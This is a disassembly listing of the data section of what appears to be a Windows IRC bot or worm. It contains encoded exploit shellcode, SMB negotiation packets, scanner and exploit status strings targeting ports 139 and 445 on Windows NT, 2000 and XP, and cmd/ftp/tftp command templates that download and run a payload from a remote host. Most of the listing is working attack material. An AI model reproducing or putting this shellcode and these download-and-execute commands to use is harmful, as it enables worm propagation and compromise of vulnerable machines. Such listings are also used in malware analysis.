aBarabesi	db 'Barabesi',0         ; DATA XREF: .data:0042DDD4o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .data:0042DDD0o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .data:0042DDCCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .data:0042DDC8o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .data:0042DDC4o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: .data:0042DDC0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .data:0042DDBCo
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .data:0042DDB8o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .data:0042DDB4o
aBaglivo	db 'Baglivo',0          ; DATA XREF: .data:0042DDB0o
aBady		db 'Bady',0             ; DATA XREF: .data:0042DDACo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .data:0042DDA8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .data:0042DDA4o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .data:0042DDA0o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: .data:0042DD9Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .data:0042DD98o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .data:0042DD94o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .data:0042DD90o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .data:0042DD8Co
aAurelius	db 'Aurelius',0         ; DATA XREF: .data:0042DD88o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .data:0042DD84o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .data:0042DD80o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .data:0042DD7Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .data:0042DD78o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .data:0042DD74o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: .data:0042DD70o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .data:0042DD6Co
aArbia		db 'Arbia',0            ; DATA XREF: .data:0042DD68o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .data:0042DD64o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .data:0042DD60o
aAnsley		db 'Ansley',0           ; DATA XREF: .data:0042DD5Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .data:0042DD58o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .data:0042DD54o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: .data:0042DD50o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .data:0042DD4Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .data:0042DD48o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .data:0042DD44o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .data:0042DD40o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .data:0042DD3Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .data:0042DD38o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: .data:0042DD34o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .data:0042DD30o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .data:0042DD2Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: .data:0042DD28o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .data:0042DD24o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .data:0042DD20o
aAleks		db 'Aleks',0            ; DATA XREF: .data:0042DD1Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .data:0042DD18o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .data:0042DD14o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .data:0042DD10o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .data:0042DD0Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .data:0042DD08o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .data:0042DD04o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: .data:0042DD00o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: .data:off_42DCFCo
aAdams		db 'Adams',0            ; DATA XREF: .data:0042DCF8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: .data:0042DCF4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .data:off_42DCF0o
		align 4
byte_431948	db 50h			; DATA XREF: .text:0040ADF0o
					; .text:0040ADFDr
		db 43h,	2 dup(0)
dword_43194C	dd 7C7325h		; DATA XREF: .text:0040AE9Bo
aS_0		db '[%s]|',0            ; DATA XREF: .text:0040AFA5o
		align 4
a???		db '???',0              ; DATA XREF: .text:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
a2k3		db '2K3',0              ; DATA XREF: .text:0040AF95o
aXp		db 'XP',0               ; DATA XREF: .text:0040AF87o
					; sub_41AA43+AAo
		align 4
a2k		db '2K',0               ; DATA XREF: .text:0040AF77o
					; sub_41AA43+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .text:0040AF5Eo
					; sub_41AA43+7Eo
		align 4
a98		db '98',0               ; DATA XREF: .text:0040AF4Eo
					; sub_41AA43+6Co
		align 10h
aNt_0		db 'NT',0               ; DATA XREF: .text:0040AF3Eo
					; sub_41AA43+5Ao
		align 4
a95		db '95',0               ; DATA XREF: .text:0040AF30o
					; sub_41AA43+46o
		align 4
; char aDS[]
aDS		db '[%d]%s',0           ; DATA XREF: sub_40AFEB+3Ao
		align 10h
; char aM[]
aM		db '[M]',0              ; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 0FFFFB966h, 0FF0E7380h
		dd 0F9E243h, 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh, 7380FFB1h
		dd 0E243FF0Ch, 0F9h, 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h
		dd 9EB0840h, 8D34408Bh,	408B7C40h, 3D08B3Ch, 0CA8B3C40h
		dd 8B784803h, 0DA8B2041h, 331C5903h, 57F633FFh,	3CA8B57h
		dd 7981100Ch, 7373650Ah, 8B027541h, 3798133h, 72685474h
		dd 3B8B0275h, 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h
		dd 0E857FA03h, 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
aJ_0		db 'j',0
		dd 17E8h, 0C3017500h, 1E8h, 6A0000h, 7E8h, 0ED840F00h
		dd 0C3FFFFFFh, 505D5B58h, 3354EC83h, 8DFC8BC0h,	0D78B4048h
		dd 44B0AAF3h, 515257ABh, 6A286A51h, 55515101h, 83D6FF53h
		dd 0C08554C4h, 0C3h
dword_431A80	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B1B4+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
; char aSSStopped_DThr[]
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431B00	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431B04	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431B08	dd 0			; DATA XREF: sub_40B64B+2Eo
					; .text:0040D496w ...
dword_431B0C	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B10	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B14	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_431CE2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
		dd 4A5A10EBh, 0B966C933h, 34800166h, 0FAE2990Ah, 0EBE805EBh
		dd 70FFFFFFh, 99999899h, 699521C3h, 9912E664h, 3485E912h
		dd 1291D912h, 0A5EA1241h, 0EF126A9Ah, 126A9AE1h, 629AB9E7h
		dd 0AA8DD712h, 0C8CECF74h, 629AA612h, 97F36B12h, 0ED3F6AC0h
		dd 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h, 0DF125412h, 485A9ABDh
		dd 0AA589A78h, 9112FF50h, 9A85DF12h, 9B78585Ah,	9912589Ah
		dd 63125A9Ah, 5F1A6E12h, 0F3491297h, 0E571C09Ah, 1A999999h
		dd 0CFCB945Fh, 0C365CE66h, 9DF34112h, 99F071C0h, 0C9C99999h
		dd 98F3C9C9h, 0CE669BF3h, 5E411269h, 9E999B9Eh,	1059AA24h
		dd 89F39DDEh, 0CE66CACEh, 0CA98F36Dh, 0C961CE66h, 0CE66CAC9h
		dd 0DD751A65h, 42AA6D12h, 10C089F3h, 627B1785h,	10A1DF10h
		dd 0DF10A5DFh, 0B5DF5ED9h, 99999898h, 0C989DE14h, 0CACACACFh
		dd 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h, 0CAC9A5DEh, 0C97DCE66h
		dd 0AA71CE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
		dd 5A59AA77h, 66676271h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
		dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
		dd 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh, 0D5FDF8F6h, 0F8EBFBF0h
		dd 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh, 0F6CAD8CAh, 0EDFCF2FAh
		dd 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h, 0FAF899F7h, 0EDE9FCFAh
		dd 99h
; char aTotalDInS_[]
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
; char asc_431E90[]
asc_431E90	db ' '                  ; DATA XREF: sub_40B64B+46o
		db 3, 37h, 25h
		dd 203A0373h, 2C6425h
; char asc_431E9C[]
asc_431E9C	db '-'                  ; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
; char asc_431EBC[]
asc_431EBC	db '-'                  ; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
; char asc_431F04[]
asc_431F04	db '-'                  ; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
; char aScanTimeS_[]
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
; char asc_431F40[]
asc_431F40	db ' '                  ; DATA XREF: sub_40B7DB+40o
		db 3, 37h, 25h
		dd 28200373h, 73253403h, 2C2903h
; char asc_431F50[]
asc_431F50	db '-'                  ; DATA XREF: sub_40B7DB+14o
		db 3, 34h, 2
		dd 6E616373h, 202D0302h, 6C707845h, 2074696Fh, 7473694Ch
		dd 3Ah
; char asc_431F6C[]
asc_431F6C	db '-'                  ; DATA XREF: sub_40B8A2+172o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
; char asc_431FA0[]
asc_431FA0	db '-'                  ; DATA XREF: sub_40B8A2+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
; char asc_431FD0[]
asc_431FD0	db '-'                  ; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
; char asc_431FF0[]
asc_431FF0	db '-'                  ; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
; char asc_43200C[]
asc_43200C	db '-'                  ; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
; char asc_432040[]
asc_432040	db '-'                  ; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
; char asc_432078[]
asc_432078	db '-'                  ; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
; char asc_4320A8[]
asc_4320A8	db '-'                  ; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
; char asc_4320DC[]
asc_4320DC	db '-'                  ; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
; char asc_432110[]
asc_432110	db '-'                  ; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
; char asc_432144[]
asc_432144	db '-'                  ; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
; char asc_43216C[]
asc_43216C	db '-'                  ; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_4321A4[]
asc_4321A4	db '-'                  ; DATA XREF: sub_40C33D+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
; char asc_4321E4[]
asc_4321E4	db '-'                  ; DATA XREF: sub_40C33D+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
; char asc_43221C[]
asc_43221C	db '-'                  ; DATA XREF: sub_40C33D+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
; char asc_432250[]
asc_432250	db '-'                  ; DATA XREF: sub_40C33D+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
; char asc_432284[]
asc_432284	db '-'                  ; DATA XREF: sub_40C59C+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
; char asc_4322AC[]
asc_4322AC	db '-'                  ; DATA XREF: sub_40C669+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
; char asc_4322D4[]
asc_4322D4	db '-'                  ; DATA XREF: sub_40C75A+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
; char asc_432300[]
asc_432300	db '-'                  ; DATA XREF: sub_40C75A+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432338	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432340	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432344	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43234C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
aLanman1_0	db 'LANMAN1.0',0
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
aLm1_2x002	db 'LM1.2X002',0
		dw 4C02h
aAnman2_1	db 'ANMAN2.1',0
		db 2, 4Eh, 54h
aLm0_12		db ' LM 0.12',0
		align 4
dword_4323D4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_432404	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432410	db  81h	; 		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43245C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
aSvwfbA		db 'SVWfì€',0          ; DATA XREF: .text:0040D35Co
aIcsa		db '‰æèí',0
		db 2 dup(0), 0FFh
		dd 12096836h, 0F7E863D6h, 89000000h, 0A2E80846h, 0FF000000h
		dd 6B680476h, 0E8CA2BD0h, 0E2h,	0E80C4689h, 3Fh, 680476FFh
		dd 4C0297FAh, 0CDE8h, 68DB3100h, 410h, 89D0FF53h, 768B56C3h
		dd 0B9C78910h, 410h, 315EA4F3h,	505050C0h, 0FF505053h
		dd 468B0C56h, 0C4816608h, 5E5F0080h, 60E0FF5Bh,	23E8h
		dd 24448B00h, 7C588D0Ch, 53C4383h, 284381h, 81000010h
		dd 0F0002863h, 48BFFFFh, 14C48324h, 0C3C03150h,	0FF64D231h
		dd 22896432h, 90B8DB31h, 31429042h, 8902B1C9h, 74AFF3DFh
		dd 0F3EB4303h, 64107E89h, 6158028Fh, 20BF60C3h,	8B7FFDF0h
		dd 8468B1Fh, 7F8B0789h,	78C781F8h, 89000001h, 741939F9h
		dd 0EB098B04h, 39FA89F8h, 574045Ah, 0EB04528Bh,	891189F6h
		dd 43C6044Ah, 0C36101FDh, 0FDF00CA1h, 1C408B7Fh, 8908588Bh
		dd 8B008B1Eh, 46890840h, 8B60C304h, 8B28246Ch, 548B3C45h
		dd 0EA017805h, 8B184A8Bh, 0EB01205Ah, 8B4938E3h, 0EE018B34h
		dd 0C031FF31h, 0E038ACFCh, 0CFC10774h, 0EBC7010Dh, 247C3BF4h
		dd 8BE17524h, 0EB01245Ah, 4B0C8B66h, 11C5A8Bh, 8B048BEBh
		dd 4489E801h, 0C2611C24h, 0FEEB0008h, 0
dword_432608	dd 0F254C481h, 0E8FCFFFFh, 46h,	8B3C458Bh, 178057Ch, 184F8BEFh
					; DATA XREF: .text:0040D30Ao
		dd 1205F8Bh, 492EE3EBh,	18B348Bh, 99C031EEh, 74C084ACh
		dd 0DCAC107h, 0F4EBC201h, 424543Bh, 5F8BE375h, 66EB0124h
		dd 8B4B0C8Bh, 0EB011C5Fh, 18B1C8Bh, 245C89EBh, 0C031C304h
		dd 30408B64h, 0F78C085h, 8B0C408Bh, 8BAD1C70h, 0BE90868h
		dd 8B000000h, 7C053440h, 8B000000h, 315F3C68h, 0EB5660F6h
		dd 0CEEF680Dh, 986860E0h, 570E8AFEh, 0EEE8E7FFh, 0FFFFFFh
; char dword_432698[]
dword_432698	dd 60h			; DATA XREF: sub_40CADB+320o
; char dword_43269C[]
dword_43269C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
; char dword_4326A8[]
dword_4326A8	dd 30h			; DATA XREF: sub_40CADB+2CAo
; char dword_4326AC[]
dword_4326AC	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326B0	dd 3			; DATA XREF: sub_40CADB+246o
; char aCccc[]
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4
; char dword_4326BC[]
dword_4326BC	dd 909006EBh, 90909090h, 0 ; DATA XREF:	sub_40CADB+E8o
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: .text:0040D331o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432730	dd 0E983C933h, 0D9EED9AFh, 5BF42474h, 0BB137381h, 836AD31Eh
					; DATA XREF: sub_40D99C+2B0o
		dd 0F4E2FCEBh, 25387447h, 952CE753h, 6587E44h, 2F583A9Fh
		dd 6FAF9587h, 0E13C1FC3h, 355806F4h, 89381F9Bh,	5E58578Bh
		dd 5B3D1F30h, 0EE7F877Bh, 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
		dd 89A6369Fh, 6BF74130h, 66587850h, 768C95F0h, 46D0F5BAh
		dd 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh, 0C7CF6E30h
		dd 34DB5E30h, 649D90D3h, 0BC2C4E57h, 39B5C58Ah,	58E076DDh
		dd 58A069D3h, 0BA2C4AE4h, 963ED5D3h, 0BC2C4E80h, 0C3697E4h
		dd 68DBF33Ah, 95D174EEh, 630A766Bh, 9584B34Eh, 39804D6Dh
		dd 39904DE8h, 0BA2C4DF8h, 0FD376DDh, 8B5A4DDDh,	7077762Eh
		dd 9584D9CBh, 3BC3746Dh, 203E1EEh, 83FDB31Fh, 3905E1ECh
		dd 203E1EEh, 2355575Eh,	3A05E1ECh, 95864AEFh, 8DBB8D6Bh
		dd 3DAAD8C2h, 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h
		dd 0E31F37E2h, 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h
		dd 0C1EB6436h, 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h
		dd 6BB94FEAh, 3B864FEAh, 0C7BBCE44h, 391D1B62h,	95B9C844h
		dd 0BA2C2944h, 0E92F4930h, 0BC2C7A7Fh, 203E1E9h, 0A33D054h
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_432890	dd 0EFFFC481h, 44FFFFh,	4328DCh	; DATA XREF: sub_40D99C+297o
dword_43289C	dd 42Ah			; DATA XREF: sub_40D99C+24Ar
dword_4328A0	dd 3E8h			; DATA XREF: sub_40D99C+2BBr
dword_4328A4	dd 258h			; DATA XREF: sub_40D99C+28Dr
byte_4328A8	db 1			; DATA XREF: sub_40D99C+1F6r
					; sub_40D99C+2C4r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4328C0	dd 20804h		; DATA XREF: sub_40D8A0r
					; sub_40D99C+2E2o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:004328ACo
		align 4
aWindowsNt42000	db 'Windows NT4, 2000 (SP0-SP4)',0
dword_4328F8	dd 2EBh, 0		; DATA XREF: sub_40D99C+21Eo
dword_432900	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40D99C+14Eo
dword_432914	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_40D99C+F2o
; char aSPipeBrowser[]
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D99C+81o
		align 4
; char aSIpc[]
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_40D99C+33o
		align 4
; char aCmdCEchoOpen_0[]
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DEA1+92o
					; sub_40DFE3+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4329BC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
